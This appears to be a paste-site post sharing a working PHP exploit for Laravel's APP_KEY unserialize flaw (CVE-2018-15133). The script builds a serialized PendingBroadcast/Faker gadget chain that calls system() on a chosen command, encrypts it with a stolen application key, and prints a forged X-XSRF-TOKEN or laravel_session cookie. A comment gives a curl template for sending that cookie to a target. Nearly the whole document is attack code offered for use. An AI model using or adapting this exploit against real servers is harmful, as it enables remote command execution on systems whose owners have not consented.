Mr_hEx

Laravel explite

Nov 10th, 2020 (edited)
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  1. #!/usr/bin/env php
  2. <?php
  3. $API_key = "dBL.....j0="; //edit here to API Key of laravel
  4. $cmd = "ls -la"; // edit here to your command here !!
  5. $cmd_len = strlen($cmd);
  6. $payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:15:"Faker\Generator":1:{s:13:"' . "\x00" . '*' . "\x00" . 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . $cmd_len . ':"' . $cmd . '";}';
  7. $value = base64_encode($payload_decoded);
  8.  
  9. $cipher = 'AES-256-CBC';
  10. $iv = random_bytes(openssl_cipher_iv_length($cipher));
  11. $value = openssl_encrypt(base64_decode($value), $cipher, base64_decode($API_key), 0, $iv);
  12. if ($value === false) {
  13.     exit("Could not encrypt the data.");
  14. }
  15.  
  16. $iv = base64_encode($iv);
  17. $mac = hash_hmac('sha256', $iv.$value, base64_decode($API_key));
  18. $json = json_encode(compact('iv', 'value', 'mac'));
  19. if (json_last_error() !== JSON_ERROR_NONE) {
  20.     echo "Could not json encode data." ;
  21.     exit();
  22. }
  23. $encodedPayload = urlencode(base64_encode($json));
  24. echo "[+] Cookie: X-XSRF-TOKEN=" . $encodedPayload;
  25. // or
  26. //echo "[+] Cookie: laravel_session=" . $encodedPayload;
  27. // when you got Cookie let's exploit vuln
  28. // use curl command
  29. //curl -H "Cookie: laravel_session=eyJpdiI6Ill....TgxYyJ9;" http://<domain or IP>/
  30. // laravel vuln
  31. // here how to encrypt and decrypt with API_Key https://github.com/laravel/framework/blob/6.x/src/Illuminate/Encryption/Encrypter.php
  32. // when enc or dec it's serialize and unserialize
  33. // so we can exploit php object injection to create file or get RCE
  34. // please check some Ref:
  35. // https://blog.truesec.com/2020/02/12/from-s3-bucket-to-laravel-unserialize-rce/
  36. // https://github.com/kozmic/laravel-poc-CVE-2018-15133
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